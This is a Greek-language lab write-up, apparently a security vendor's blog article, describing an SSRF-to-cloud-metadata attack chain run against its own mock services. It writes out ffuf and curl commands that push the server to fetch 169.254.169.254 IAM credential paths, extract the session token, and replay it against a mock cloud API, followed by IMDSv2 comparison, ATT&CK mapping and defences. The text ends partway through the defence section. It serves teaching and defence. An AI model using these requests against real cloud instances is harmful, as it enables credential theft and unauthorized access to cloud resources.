Πώς ένα φαινομενικά ασήμαντο χαρακτηριστικό μιας web εφαρμογής — ένα «προεπισκόπηση συνδέσμου» που φέρνει περιεχόμενο από ένα URL — μετατρέπεται σε πλήρη κλοπή προσωρινών cloud credentials, βήμα προς βήμα, σε ένα απομονωμένο εργαστήριο που κατέχουμε εξ ολοκλήρου: ανακάλυψη ενός SSRF-able parameter με ffuf, επιβεβαίωση του Server-Side Request Forgery με curl, pivot στο cloud metadata endpoint (http://169.254.169.254/, IMDSv1-style), κλοπή του προσωρινού session token ενός IAM role, και τελικά χρήση αυτού του token απέναντι σε ένα mock cloud API για να φτάσουμε σε προστατευμένο πόρο και στο flag. Κλείνουμε με τη σύγκριση IMDSv1 (ευάλωτο) vs IMDSv2 (session-token, ανθεκτικό στο βασικό SSRF) και με μια σκληρή ενότητα άμυνας για κάθε κρίκο.
TL;DR (EN): A web-to-cloud attack chain in an isolated lab: an SSRF in a web app pivots to the cloud metadata endpoint (IMDSv1) to steal temporary role credentials, then replays them against a mock cloud API — plus why IMDSv2 resists it and the SSRF, egress and IAM defenses that close the gap.
Νομική σημείωση / Authorization. Όλη η δραστηριότητα που περιγράφεται εκτελέστηκε αποκλειστικά σε ένα απομονωμένο εργαστήριο που κατέχουμε εξ ολοκλήρου. Ο ευάλωτος στόχος («Meteora Portal»), το metadata endpoint και το cloud API είναι δικά μας τοπικά stand-ins: μικρές εφαρμογές Python (Flask) δεσμευμένες σε loopback χωρίς καμία δημοσιευμένη θύρα, χωρίς έκθεση προς LAN ή Internet. Δεν προσεγγίσαμε, δεν σαρώσαμε και δεν χρησιμοποιήσαμε κανέναν πραγματικό cloud provider ούτε το πραγματικό 169.254.169.254 σε πραγματικό host. Όλα τα credentials, τα tokens και το flag είναι εργαστηριακά και ψεύτικα — δεν λειτουργούν πουθενά εκτός του τοπικού mock. Οι τεχνικές που περιγράφονται είναι παράνομες όταν εφαρμόζονται χωρίς ρητή γραπτή εξουσιοδότηση. Χρησιμοποιήστε τις μόνο σε δικά σας ή ρητά εξουσιοδοτημένα συστήματα, στο πλαίσιο νόμιμου penetration testing.
Εισαγωγή: γιατί το SSRF είναι το κλειδί για το cloud
Στην κλασική, on-premises εποχή, μια αδυναμία τύπου Server-Side Request Forgery (SSRF) θεωρούνταν συχνά «μεσαίας» σοβαρότητας: «ναι, ο server μπορεί να κάνει ένα request κάπου, και τι έγινε;». Η μετάβαση στο cloud άλλαξε ριζικά αυτή την εικόνα. Σήμερα, το SSRF είναι μία από τις πιο επικίνδυνες web αδυναμίες που υπάρχουν — όχι εξαιτίας του τι κάνει από μόνο του, αλλά εξαιτίας του πού μπορεί να φτάσει.
Ο λόγος έχει ένα όνομα και μια διεύθυνση: το Instance Metadata Service (IMDS), προσβάσιμο από κάθε cloud virtual machine στη «μαγική» link-local διεύθυνση http://169.254.169.254/. Το IMDS είναι ένα εσωτερικό HTTP endpoint που δίνει στο instance πληροφορίες για τον εαυτό του: το AMI, το instance-id, το δίκτυο — και, κρίσιμα, τα προσωρινά credentials του IAM role που είναι συνδεδεμένο στο μηχάνημα. Αυτά τα credentials (AccessKeyId, SecretAccessKey, και ένα session Token) είναι ο τρόπος με τον οποίο μια εφαρμογή στο cloud μιλά με τις υπηρεσίες του provider — object storage, βάσεις, queues — χωρίς hardcoded κλειδιά.
Εδώ κρύβεται η καταστροφική συνέργεια. Αν μια web εφαρμογή που τρέχει σε ένα cloud instance έχει SSRF, ο επιτιθέμενος δεν χρειάζεται να «σπάσει» το λειτουργικό ή να αποκτήσει shell. Απλώς αναγκάζει τον server να ζητήσει http://169.254.169.254/… για λογαριασμό του και διαβάζει την απάντηση. Μέσα σε αυτή την απάντηση βρίσκονται ζωντανά credentials του cloud role. Από εκεί, ο επιτιθέμενος γίνεται, ουσιαστικά, ο ίδιος ο role: μπορεί να διαβάσει buckets, να απαριθμήσει πόρους, να κλιμακώσει. Αυτό ακριβώς το μοτίβο βρίσκεται πίσω από μερικές από τις πιο διάσημες cloud παραβιάσεις της τελευταίας δεκαετίας.
Για έναν οργανισμό που υπόκειται σε NIS2 ή DORA, το σενάριο δεν είναι θεωρητικό: είναι ακριβώς το είδος της «αλυσιδωτής» έκθεσης που οι κανονισμοί απαιτούν να εντοπίζετε, να τεκμηριώνετε και να διορθώνετε πριν σας βρει κάποιος άλλος. Ένα SSRF σε ένα δευτερεύον web feature μπορεί, μέσω του cloud, να μετατραπεί σε παραβίαση δεδομένων με υποχρέωση αναφοράς.
Σε αυτό το flagship άρθρο των Audax Labs στήνουμε ολόκληρη αυτή την αλυσίδα από άκρη σε άκρη, με πραγματικά εργαλεία και πραγματικά outputs:
- ffuf — για γρήγορη ανακάλυψη του endpoint και του SSRF-able parameter μέσα σε μια web εφαρμογή.
- curl — για επιβεβαίωση του SSRF (πρόσβαση σε εσωτερικό-μόνο πόρο) και για την εκμετάλλευση: pivot στο IMDS και κλοπή του token.
- jq — για να απομονώσουμε το κλεμμένο token από την απάντηση του metadata.
- Το ίδιο το cloud API — όπου το κλεμμένο token μας δίνει πρόσβαση στον προστατευμένο πόρο και στο flag.
Και, όπως σε κάθε άρθρο των Audax Labs, δεν αρκούμαστε στο «ποια εντολή τρέξαμε»: εξηγούμε τι είναι κάθε εργαλείο/βήμα, ποιες είναι οι σημαντικότερες παράμετροι, ποια εντολή δώσαμε και τι πραγματικά επέστρεψε — με αποστειρωμένα, αναγνώσιμα screenshots από το ίδιο το εργαστήριο. Κλείνουμε με αντιστοίχιση σε MITRE ATT&CK και με μια πρακτική ενότητα άμυνας: πώς σταματάτε κάθε ένα βήμα.
Το σενάριο και το εργαστήριο
Ο στόχος μας, το «Meteora Portal», είναι ένα μικρό εσωτερικό «content portal» με ένα χαρακτηριστικό που συναντάμε παντού: προεπισκόπηση συνδέσμου (link preview / unfurl). Ο χρήστης επικολλά ένα URL, και ο server το «φέρνει» για να δείξει μια προεπισκόπηση. Το feature είναι απολύτως συνηθισμένο — chat εφαρμογές, CMS, dashboards, webhooks, image proxies, PDF renderers, όλα κάνουν κάτι ανάλογο. Και ακριβώς εκεί κρύβεται το λάθος: ο server φέρνει οποιοδήποτε URL του δώσουμε, χωρίς allowlist, χωρίς περιορισμό scheme και χωρίς μπλοκάρισμα των link-local / εσωτερικών διευθύνσεων. Αυτό είναι το SSRF.
Το εργαστήριο έχει τρία δικά μας, σκόπιμα κατασκευασμένα κομμάτια:
- Meteora Portal (ευάλωτη web εφαρμογή): Flask, δεσμευμένη στο
127.0.0.1:8890. Το endpoint/preview?url=κάνει το server-side fetch χωρίς κανένα φίλτρο. - Mock IMDS (stand-in για το
169.254.169.254): Flask, στο127.0.0.1:8169. Σερβίρει τη δομή του AWS metadata (/latest/meta-data/iam/security-credentials/…) και υποστηρίζει δύο λειτουργίες: IMDSv1 (ένα απλό GET επιστρέφει credentials) και IMDSv2 (απαιτεί πρώταPUT /latest/api/tokenκαι μετά header σε κάθε request). - Mock cloud API (stand-in για object storage): Flask, στο
127.0.0.1:9095. Ένας προστατευμένος πόρος επιστρέφει το flag μόνο αν του παρουσιάσουμε το σωστό, κλεμμένο session token.
Τοπολογία

Και τα τρία components τρέχουν ως αυτόνομες εφαρμογές Python (Flask), δεσμευμένες σε loopback στον ίδιο host. Η μηχανή επίθεσης είναι ο ίδιος host, με ταυτότητα χειριστή απόλυτα ουδέτερη (kali@lab). Δεν υπάρχει καμία γέφυρα προς LAN ή Internet, καμία δημοσιευμένη θύρα.
Ειλικρινής διευκρίνιση για τα δίκτυα και το169.254.169.254. Δεν αγγίξαμε ποτέ το πραγματικό link-local metadata endpoint ούτε κανέναν cloud provider. Το IMDS είναι ένα δικό μας τοπικό mock στο127.0.0.1:8169. Για ευανάγνωστη αφήγηση, στα screenshots οι διευθύνσεις παρουσιάζονται ως ένα καθαρό εργαστηριακό σχήμα: η web εφαρμογή ως10.20.0.10, ένας εσωτερικός πόρος ως10.10.0.5, και το metadata endpoint με την κανονική του διεύθυνση169.254.169.254— ώστε να αναγνωρίζετε αμέσως το μοτίβο όπως θα το βλέπατε σε πραγματικό cloud. Πραγματικά, όλα άκουγαν σε loopback. Αυτή είναι δηλωμένη εργαστηριακή σύμβαση, όχι πραγματική διεύθυνση.
Πριν προχωρήσουμε βήμα-βήμα, ας δούμε ολόκληρη την αλυσίδα σε ένα διάγραμμα:

Οι εκδόσεις των εργαλείων ήταν: ffuf 2.1.0, curl 8.5.0, jq 1.7, με Python 3.12 και Flask 3.1 για τα τρία mock services. Όλα τρέχουν τοπικά, χωρίς root, χωρίς εγκατάσταση σε system paths.
Εργαλείο 1 — ffuf: εντοπισμός του SSRF-able σημείου
Τι είναι και πού ταιριάζει
Το ffuf (Fuzz Faster U Fool) είναι ένας ταχύτατος web fuzzer γραμμένος σε Go. Η ιδέα του είναι απλή αλλά ισχυρή: βάζεις τη λέξη-κλειδί FUZZ οπουδήποτε μέσα σε ένα request — στο path, σε μια παράμετρο, σε ένα header — και το ffuf αντικαθιστά διαδοχικά κάθε γραμμή ενός wordlist, αναφέροντας πώς αντιδρά ο server. Με matchers και filters απομονώνεις ακριβώς τις απαντήσεις που σε ενδιαφέρουν.
Πού ταιριάζει εδώ: στην αρχή. Δεν ξέρουμε ακόμη ότι υπάρχει SSRF. Ξέρουμε μόνο ότι μια web εφαρμογή έχει κάποια endpoints. Το ffuf θα μας δώσει (α) τον χάρτη των routes και (β) το όνομα του κρυφού parameter που ενεργοποιεί το server-side fetch.
Σημαντικές παράμετροι / flags
| Flag | Τι κάνει |
|---|---|
-u | Το URL του στόχου — περιέχει τη λέξη FUZZ στο σημείο δοκιμής |
-w | Το wordlist με τα υποψήφια ονόματα routes/parameters |
-mc | Match ανά status code (π.χ. 200,400,401,403,405) |
-fc / -fs | Filter ανά status code / μέγεθος απάντησης |
-t | Αριθμός threads (παραλληλισμός) |
-s | Silent mode — καθαρή έξοδος μόνο με τα ευρήματα |
-o / -of | Αποθήκευση αποτελεσμάτων σε αρχείο και επιλογή format (json) |
Hardening για Kubernetes RBAC, containers και cloud metadata (SSRF/IMDS). Αφήστε εταιρικό email και σας το στέλνουμε.
Βήμα 1α — Ανακάλυψη routes
ffuf -w wordlists/routes.txt \
-u http://10.20.0.10/FUZZ \
-mc 200,400,401,403,405 -t 20
Το «κλειδί» εδώ είναι η επιλογή των status codes. Δεν ψάχνουμε μόνο 200. Ένα 400 Bad Request είναι εξίσου πολύτιμο: μας λέει ότι το endpoint υπάρχει αλλά περιμένει κάτι που δεν του δώσαμε — τυπικά, μια παράμετρο.

Το αποτέλεσμα ήταν καθαρός χάρτης: /health και /about επιστρέφουν 200, το /login επιστρέφει 405 (POST-only), το /internal/status επιστρέφει 200 (ένα «εσωτερικό» status page), και — το πιο ενδιαφέρον — το /preview επιστρέφει 400. Ένα route που υπάρχει αλλά διαμαρτύρεται ότι του λείπει κάτι. Αυτό είναι το επόμενο σημείο εστίασης.
Βήμα 1β — Ανακάλυψη του parameter που τρέχει το fetch
Ξέρουμε ότι το /preview θέλει μια παράμετρο. Ποια; Χρησιμοποιούμε ξανά το ffuf, αυτή τη φορά κάνοντας fuzz στο όνομα της παραμέτρου, με τιμή που δείχνει σε ένα αβλαβές εσωτερικό health probe. Αν το όνομα είναι λάθος, ο server επιστρέφει 400· αν είναι σωστό, θα κάνει το fetch και θα επιστρέψει 200 με το περιεχόμενο.
ffuf -w wordlists/params.txt \
-u 'http://10.20.0.10/preview?FUZZ=http://10.20.0.10/health' \
-mc 200 -t 20

Το αποτέλεσμα ήταν μονοσήμαντο: μόνο το url επέστρεψε 200. Το /preview?url=<κάτι> κάνει τον server να φέρει το «κάτι». Αυτό είναι το κρίσιμο εύρημα: ο server εκτελεί εξερχόμενο request για λογαριασμό μας. Αυτό είναι το DNA κάθε SSRF. Το ffuf δεν «απέδειξε» ακόμη την επικινδυνότητα — αλλά μας έδειξε ακριβώς πού να χτυπήσουμε.
Βήμα 2 — Επιβεβαίωση του SSRF με curl
Γιατί χρειάζεται ξεχωριστό βήμα επιβεβαίωσης
Το ότι ένα endpoint φέρνει ένα URL δεν σημαίνει αυτόματα ότι είναι επικίνδυνο· ίσως έχει allowlist, ίσως μπλοκάρει εσωτερικές διευθύνσεις. Ο μόνος τρόπος να είμαστε σίγουροι είναι να δοκιμάσουμε να φτάσουμε κάπου που δεν θα έπρεπε. Ο κλασικός έλεγχος: να ζητήσουμε από τον server να φέρει έναν εσωτερικό-μόνο πόρο — κάτι που εμείς, ως «εξωτερικοί», δεν μπορούμε να δρομολογήσουμε, αλλά ο server μπορεί.
Το curl είναι το ιδανικό εργαλείο εδώ: ένας HTTP client που μας δίνει πλήρη έλεγχο στο request και καθαρή, ωμή απάντηση.
Σημαντικές παράμετροι / flags
| Flag | Τι κάνει |
|---|---|
-s | Silent — χωρίς progress meter |
-H | Προσθήκη custom header (π.χ. Authorization) |
-X | Ρητός ορισμός HTTP method (π.χ. PUT) |
-w | Εκτύπωση μεταβλητών (π.χ. %{http_code}) μετά την απάντηση |
-o | Αποθήκευση σώματος σε αρχείο (ή /dev/null) |
--data-urlencode | Ασφαλές URL-encoding τιμών (χρήσιμο για nested URLs) |
Η εντολή που τρέξαμε
# Ο εσωτερικός πόρος δεν είναι δρομολογήσιμος για εμάς:
curl -s http://10.10.0.5/internal/status
# -> curl: (7) Failed to connect ... No route to host
# Αλλά μέσω του SSRF, ο SERVER τον φέρνει για εμάς:
curl -s 'http://10.20.0.10/preview?url=http://10.10.0.5/internal/status'

Το αποτέλεσμα είναι η απόδειξη: ενώ η άμεση σύνδεση αποτυγχάνει (No route to host), το /preview?url=… επιστρέφει [upstream status: 200] και ολόκληρο το περιεχόμενο του εσωτερικού status page. Το SSRF επιβεβαιώθηκε. Και υπάρχει ένα δώρο: το status page διαρρέει ένα hint — "metadata_endpoint": "http://169.254.169.254/ (imds)". Ένας πραγματικός επιτιθέμενος δεν θα χρειαζόταν καν αυτό το hint (το 169.254.169.254 είναι το πρώτο πράγμα που δοκιμάζει κανείς σε ένα cloud SSRF), αλλά εδώ δείχνει γλαφυρά πώς οι εσωτερικοί πόροι «δείχνουν» ο ένας τον άλλο.
Βήμα 3 — Pivot στο cloud metadata endpoint (IMDSv1)
Τι είναι το IMDS και γιατί είναι «χρυσός» για τον επιτιθέμενο
Το Instance Metadata Service ζει σε κάθε cloud VM στη διεύθυνση http://169.254.169.254/. Είναι link-local: δεν βγαίνει ποτέ στο δίκτυο, δεν έχει authentication από μόνο του — η «ασφάλειά» του βασίζεται στην υπόθεση ότι μόνο κώδικας που τρέχει πάνω στο instance μπορεί να το προσεγγίσει. Το SSRF ακριβώς αυτή την υπόθεση καταρρίπτει: ο ευάλωτος server είναι κώδικας που τρέχει πάνω στο instance, και τον κάνουμε να ρωτήσει το IMDS για εμάς.
Η δομή είναι τυποποιημένη (AWS-style):
GET /latest/meta-data/iam/security-credentials/-> επιστρέφει το όνομα του role.GET /latest/meta-data/iam/security-credentials/<role>-> επιστρέφει τα προσωρινά credentials σε JSON:AccessKeyId,SecretAccessKey,Token,Expiration.
Στο IMDSv1, και τα δύο είναι απλά GET — καμία αυθεντικοποίηση, κανένα header. Ό,τι χρειάζεται δηλαδή ένα βασικό, GET-only SSRF.
Η εντολή που τρέξαμε
# 3α: Απαρίθμηση του role
curl -s 'http://10.20.0.10/preview?url=\
http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# 3β: Κλοπή των credentials του role
curl -s 'http://10.20.0.10/preview?url=\
http://169.254.169.254/latest/meta-data/iam/security-credentials/meteora-portal-ec2-role'

Το πρώτο request μας έδωσε το όνομα: meteora-portal-ec2-role. Το δεύτερο μας έδωσε ολόκληρο το JSON με τα προσωρινά credentials — AccessKeyId, SecretAccessKey και, το πιο σημαντικό, το Token (το session token της STS). Με ένα απλό jq απομονώσαμε ό,τι χρειαζόμασταν:
curl -s '...security-credentials/meteora-portal-ec2-role' \
| sed '1,3d' | jq -r '.AccessKeyId, .Token'
Σε αυτό το σημείο, ο επιτιθέμενος δεν έχει shell, δεν έχει σπάσει κωδικό, δεν έχει αγγίξει το OS. Έχει όμως ζωντανά, προσωρινά credentials ενός cloud role — και αυτό, όπως θα δούμε αμέσως, αρκεί.
Βήμα 4 — Χρήση του κλεμμένου token στο cloud API
Από το token στην πρόσβαση
Τα προσωρινά credentials ενός IAM role δεν είναι «θεωρητικά»: είναι το κλειδί με το οποίο η εφαρμογή μιλά με τις υπηρεσίες του cloud. Ο επιτιθέμενος που τα κλέβει γίνεται, μέχρι να λήξουν, ο ίδιος ο role. Στο εργαστήριό μας, το mock cloud API έχει έναν προστατευμένο πόρο (/v1/buckets/audax-lab-secrets/objects/flag) που επιστρέφει το flag μόνο αν του παρουσιάσουμε το σωστό session token.
Για να αποδείξουμε ότι ο έλεγχος πρόσβασης είναι πραγματικός (και όχι ότι απλώς «δεν υπάρχει»), τρέξαμε πρώτα ένα negative control: κλήση χωρίς token.
Η εντολή που τρέξαμε
# 4α: Negative control - χωρίς token -> άρνηση
curl -s -w 'HTTP %{http_code}\n' \
https://cloud.audax-lab/v1/buckets/audax-lab-secrets/objects/flag
# -> {"error":"AccessDenied: missing IAM session token"} / HTTP 403
# 4β: Με το ΚΛΕΜΜΕΝΟ token -> πρόσβαση + flag
curl -s -H "Authorization: Bearer $TOKEN" \
-H "X-Cloud-Access-Key-Id: $AKID" \
https://cloud.audax-lab/v1/buckets/audax-lab-secrets/objects/flag

Το αποτέλεσμα κλείνει την αλυσίδα. Χωρίς token: 403 AccessDenied. Με το κλεμμένο token: το API μας απαντά ως ο role, με μήνυμα "Access granted with stolen IMDS session token." και το flag:
flag{audax_lab_ssrf_imds_v1_credential_theft}
Πέντε κινήσεις — discover -> confirm -> pivot -> steal -> assume — και ένα «αθώο» URL preview έγινε πλήρης κλοπή cloud credentials και πρόσβαση σε προστατευμένα δεδομένα.
IMDSv1 vs IMDSv2: γιατί το session-token μοντέλο αλλάζει τα πάντα
Το πιο σημαντικό δίδαγμα αυτής της αλυσίδας δεν είναι το SSRF καθαυτό — είναι γιατί το SSRF έφτασε τόσο μακριά. Και η απάντηση είναι το IMDSv1.
Στο IMDSv1, τα credentials είναι διαθέσιμα με ένα σκέτο GET. Οποιοσδήποτε μπορεί να αναγκάσει τον server να κάνει ένα GET στο 169.254.169.254 — και ένα URL-preview SSRF κάνει ακριβώς αυτό — μπορεί να τα κλέψει. Δεν υπάρχει καμία «απόδειξη» ότι το request προήλθε από νόμιμο κώδικα.
Το IMDSv2 αλλάζει το μοντέλο. Απαιτεί μια session-oriented διαδικασία:
- Πρώτα, ένα
PUT /latest/api/tokenμε headerX-aws-ec2-metadata-token-ttl-seconds, που επιστρέφει ένα προσωρινό session token. - Μετά, κάθε GET πρέπει να φέρει αυτό το token στο header
X-aws-ec2-metadata-token.
Ένα βασικό, GET-only SSRF (όπως το URL preview) δεν μπορεί ούτε να κάνει το PUT, ούτε να προσθέσει custom header. Επομένως αποκλείεται. Το ίδιο ακριβώς SSRF, απέναντι σε ένα instance με IMDSv2, γυρίζει με 401.
Το επιβεβαιώσαμε στο εργαστήριο, αλλάζοντας απλώς τη λειτουργία του metadata mock:
# Ίδιο SSRF, αλλά το instance επιβάλλει τώρα IMDSv2:
curl -s 'http://10.20.0.10/preview?url=\
http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# -> [upstream status: 401] IMDSv2 requires a valid session token

Η εικόνα μιλάει από μόνη της: το ίδιο βήμα που έκλεψε credentials σε IMDSv1, σε IMDSv2 επιστρέφει 401 - Unauthorized. Το handshake του token (PUT + per-request header) απαιτεί έλεγχο μεθόδου και headers που ένα URL-preview SSRF δεν διαθέτει. Η επιπλέον προστασία του hop-limit (το IMDSv2 token έχει IP TTL 1 by default, ώστε να μην μπορεί να «περάσει» μέσα από containers/proxies) κλείνει και πολλές παραλλαγές. Αυτός είναι ο λόγος που η μετάβαση σε IMDSv2-only είναι από τα πιο υψηλής απόδοσης cloud hardening controls που υπάρχουν.
Η αλυσίδα σε μια εικόνα και η αντιστοίχιση σε MITRE ATT&CK
Κάθε βήμα αυτής της αλυσίδας δεν είναι μια αφηρημένη «τεχνική hacking»· είναι μια συμπεριφορά που η κοινότητα άμυνας έχει καταγράψει και κωδικοποιήσει στο MITRE ATT&CK. Η αντιστοίχιση δεν είναι ακαδημαϊκή άσκηση: είναι ο τρόπος που μια Blue Team μετράει κάλυψη — «για κάθε ένα από αυτά τα βήματα, έχω detection;».

| Τεχνική | Όνομα | Πώς εμφανίζεται εδώ |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Το SSRF στο URL-preview feature (/preview?url=), που εντοπίστηκε με ffuf και επιβεβαιώθηκε με curl |
| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | Το pivot στο 169.254.169.254 (IMDSv1) και η κλοπή του προσωρινού session token του role |
| T1078.004 | Valid Accounts: Cloud Accounts | Η επαναχρησιμοποίηση του κλεμμένου token για κλήση στο cloud API ως ο role |
Η κάλυψη εκτείνεται από το Initial Access (T1190) στο Credential Access (T1552.005) και τελικά στην κατάχρηση έγκυρων cloud accounts (T1078.004). Αν μια ομάδα άμυνας έχει detection σε έστω ένα από αυτά τα σημεία — π.χ. ένα alert για request προς 169.254.169.254 που προέρχεται από web process — η αλυσίδα σπάει.
Επαλήθευση: γιατί ξέρουμε ότι δούλεψε πραγματικά
Στο πνεύμα των Audax Labs, δεν αρκεί το «έβγαλε flag». Επαληθεύσαμε κάθε κρίκο με ανεξάρτητο τρόπο:
- ffuf: το
400στο/previewκαι το200μόνο για τοurlparameter δεν είναι «μαντεψιά» — αντικατοπτρίζουν τη λογική της εφαρμογής (route υπάρχει, χρειάζεται συγκεκριμένη παράμετρο). Επιβεβαιώθηκαν και χειροκίνητα με curl. - SSRF confirm: το negative control (
No route to hostστην άμεση σύνδεση) απέναντι στο επιτυχές[upstream status: 200]μέσω/previewαποδεικνύει ότι το request το έκανε ο server, όχι εμείς. - IMDS: το
AccessKeyIdκαι τοTokenπου ήρθαν από το metadata ταυτίζονται bit-προς-bit με αυτά που ο mock cloud API αναγνωρίζει ως έγκυρα — δύο ανεξάρτητα components, ίδια τιμή. - cloud API: το negative control (
403 AccessDeniedχωρίς token) απέναντι στο200+ flag με το κλεμμένο token αποκλείει το ενδεχόμενο να «δούλεψε» η επίθεση επειδή απλώς δεν υπήρχε έλεγχος πρόσβασης. - IMDSv2: το ίδιο ακριβώς SSRF request, με τη μόνη αλλαγή να είναι η λειτουργία του metadata service, γυρίζει
401— αποδεικνύοντας ότι ο αποκλεισμός οφείλεται στο session-token μοντέλο και όχι σε κάτι άλλο.
Το flag που ανακτήθηκε ήταν: flag{audax_lab_ssrf_imds_v1_credential_theft}.
Αντιμετώπιση προβλημάτων (troubleshooting) που συναντήσαμε
Καταγράφουμε τα πραγματικά εμπόδια, στο πνεύμα διαφάνειας:
- Το
/previewδεν εμφανιζόταν στο πρώτο ffuf run: το endpoint επιστρέφει400όταν λείπει η παράμετρος, και το αρχικό matcher (-mc 200,401,403,405) δεν το έπιανε. Λύση: προσθήκη του400στο matcher. Δίδαγμα: σε discovery, ένα400είναι σήμα, όχι θόρυβος. - Το nested URL στο
?url=χρειάζεται προσοχή στο encoding: όταν το εσωτερικό URL περιέχει δικά του query params, τα&/κενά μπορούν να «σπάσουν» το εξωτερικό request. Στο εργαστήριο τα URLs ήταν απλά· σε πραγματικό assessment, χρησιμοποιήστε--data-urlencodeή διπλό encoding. - Επανεκκίνηση του metadata mock για τη σύγκριση v1/v2: αρχικά επιχειρήσαμε
pkill -f metadata_mock.py, το οποίο σκότωνε το ίδιο μας το shell (το pattern ταίριαζε με τη γραμμή εντολών του shell). Λύση: επανεκκίνηση με βάση τη θύρα, χωρίς pattern που να ταιριάζει με τη διεργασία-γονέα. Αναμενόμενη λεπτομέρεια μηχανικής, χωρίς επίπτωση στο αποτέλεσμα. - Docker daemon μη διαθέσιμος: όπως και σε προηγούμενα labs, ακολουθήσαμε την ισοδύναμη εναλλακτική της απομόνωσης σε loopback. Το αποτέλεσμα είναι ισοδύναμο ως προς την απομόνωση — τίποτα δεν εκτίθεται εκτός host — και το δηλώνουμε ρητά.
Κανένα από αυτά δεν αλλοίωσε το αποτέλεσμα.
Δυνατά σημεία και περιορισμοί
Δυνατά σημεία της προσέγγισης:
- Ρεαλισμός: η αλυσίδα αναπαράγει ένα από τα πιο συχνά μοτίβα πραγματικών cloud παραβιάσεων — SSRF -> IMDS -> κλοπή credentials.
- Ανεξάρτητη επαλήθευση: κάθε εύρημα διασταυρώθηκε με δεύτερη μέθοδο και με negative controls, χωρίς τυφλή εμπιστοσύνη στο «πράσινο» ενός εργαλείου.
- Θετική και αρνητική απόδειξη: δείξαμε και ότι η επίθεση πετυχαίνει (IMDSv1) και ότι σταματά (IMDSv2) — η ίδια αλυσίδα, δύο εκβάσεις.
- Διαφάνεια: δηλώσαμε ρητά τι είναι πραγματικό (όλα τα outputs) και τι είναι εργαστηριακή σύμβαση (οι οπτικές διευθύνσεις· το IMDS ως τοπικό mock).
Περιορισμοί και αδυναμίες:
- Ελεγχόμενος στόχος: ο στόχος είναι σκόπιμα ευάλωτος. Ένα σκληρυμένο περιβάλλον θα έσπαγε την αλυσίδα σε πολλά σημεία (SSRF allowlist, IMDSv2-only, least-privilege role, egress filtering).
- Mock cloud: το cloud API μας κάνει έναν απλό έλεγχο token, όχι πλήρη STS/signature validation. Η αρχή (κλεμμένο token = πρόσβαση ως role) είναι όμως ακριβώς ίδια.
- Μοντελοποίηση δικτύου: οι διευθύνσεις στα screenshots είναι εργαστηριακή σύμβαση για ευανάγνωστη αφήγηση· τα πραγματικά services άκουγαν σε loopback.
Θέματα ασφάλειας κατά τη χρήση
Το SSRF είναι μια από τις πιο «διακριτικά επικίνδυνες» τεχνικές: ένα λάθος request μπορεί, σε πραγματικό περιβάλλον, να χτυπήσει εσωτερικές υπηρεσίες που δεν θα έπρεπε ποτέ να αγγίξετε. Πριν δοκιμάσετε τεχνικές σαν αυτές, ένας επαγγελματίας οφείλει να ελέγξει:
- Scope και εξουσιοδότηση: το SSRF testing μπορεί, ακούσια, να προκαλέσει requests προς εσωτερικά ή τρίτα συστήματα. Δοκιμάστε μόνο εντός ρητά εξουσιοδοτημένου scope, και προσέξτε ιδιαίτερα τα «τυφλά» (blind) SSRF που μπορεί να φτάσουν παντού.
- Χειρισμός των credentials που ανακτώνται: κλεμμένα session tokens και κλειδιά είναι εξαιρετικά ευαίσθητα ευρήματα. Αποθηκεύστε τα με ασφάλεια, αναφέρετέ τα υπεύθυνα, μην τα αφήνετε σε logs ή screenshots (γι’ αυτό εδώ όλα είναι εργαστηριακά και ψεύτικα).
- Μη καταστροφικές δοκιμές: με ένα ζωντανό role token μπορεί κανείς να κάνει πολλά· σε πραγματικό assessment, περιοριστείτε σε read-only proof-of-concept (π.χ.
sts get-caller-identity, listing) και συνεννοηθείτε πριν από οτιδήποτε γράφει ή διαγράφει. - Καθαρισμός: μετά το τεστ, ακυρώστε/rotate ό,τι εκτέθηκε και τεκμηριώστε το χρονικό.
Πού μπορεί να χρησιμοποιηθεί επαγγελματικά — και πότε όχι
Πού ταιριάζει:
- Web/API penetration testing: ο εντοπισμός SSRF και η απόδειξη του cloud impact είναι κεντρικό κομμάτι κάθε σοβαρού web/API pentest. Η διαφορά ανάμεσα σε «medium SSRF» και «critical cloud breach» είναι ακριβώς αυτή η αλυσίδα.
- Cloud & adversary validation: το σενάριο προσφέρεται για να ελεγχθεί αν οι υπάρχουσες άμυνες (IMDSv2 enforcement, egress filtering, detections για metadata access) πραγματικά δουλεύουν — adversary validation.
- NIS2 & DORA readiness: αποδεικνύει, με τεκμηρίωση, μια αλυσιδωτή έκθεση cloud δεδομένων — ακριβώς το είδος του ρίσκου που οι δύο κανονισμοί απαιτούν να διαχειρίζεστε ενεργά. Δείτε NIS2 & DORA compliance.
- Εκπαίδευση & detection engineering: κάθε βήμα δίνει σαφή IOCs για τη δημιουργία και δοκιμή detection rules (ιδίως το metadata access από web process).
Πότε δεν πρέπει να χρησιμοποιηθεί:
- Ποτέ σε συστήματα εκτός ρητά εξουσιοδοτημένου scope — είναι παράνομο, και το SSRF μπορεί να «διαρρεύσει» σε τρίτα δίκτυα.
- Ποτέ με ζωντανά cloud tokens για write/delete ενέργειες χωρίς σαφή γραπτή συνεννόηση.
- Ποτέ ως «απόδειξη ασφάλειας»: το ότι ένα εργαλείο δεν βρήκε SSRF δεν σημαίνει ότι δεν υπάρχει. Τα εργαλεία βλέπουν μεμονωμένα ευρήματα· την αλυσίδα τη βλέπει ο άνθρωπος.
Μπορεί μια SSRF να δώσει τα cloud credentials σας;
Μια SSRF σε web εφαρμογή μπορεί να φτάσει στο metadata endpoint και να κλέψει προσωρινά cloud credentials. Η Audax χαρτογραφεί και επικυρώνει συνεχώς την cloud έκθεσή σας μέσω Continuous Threat Exposure Management.
Δείτε το CTEM →Άμυνα: πώς σταματάτε κάθε βήμα της αλυσίδας
Εδώ βρίσκεται η ουσία για κάθε οργανισμό. Η αλυσίδα έχει πέντε κρίκους — και αρκεί να σπάσετε έναν για να αποτραπεί η καταστροφική έκβαση. Στην πράξη, θέλετε να σπάσετε όσο περισσότερους μπορείτε (defense in depth).
1. Σταματήστε το SSRF στην είσοδο — allowlist, όχι blocklist
- Ο πιο καθαρός τρόπος να μη γίνει server-side fetch σε επικίνδυνο προορισμό είναι να επιτρέπετε ρητά μόνο συγκεκριμένα, αναμενόμενα hosts/schemes (allowlist), αντί να προσπαθείτε να «μπλοκάρετε τα κακά» (blocklist — παρακάμπτεται με redirects, DNS rebinding, decimal/hex IPs,
[::], κ.λπ.). - Επιβάλετε μόνο
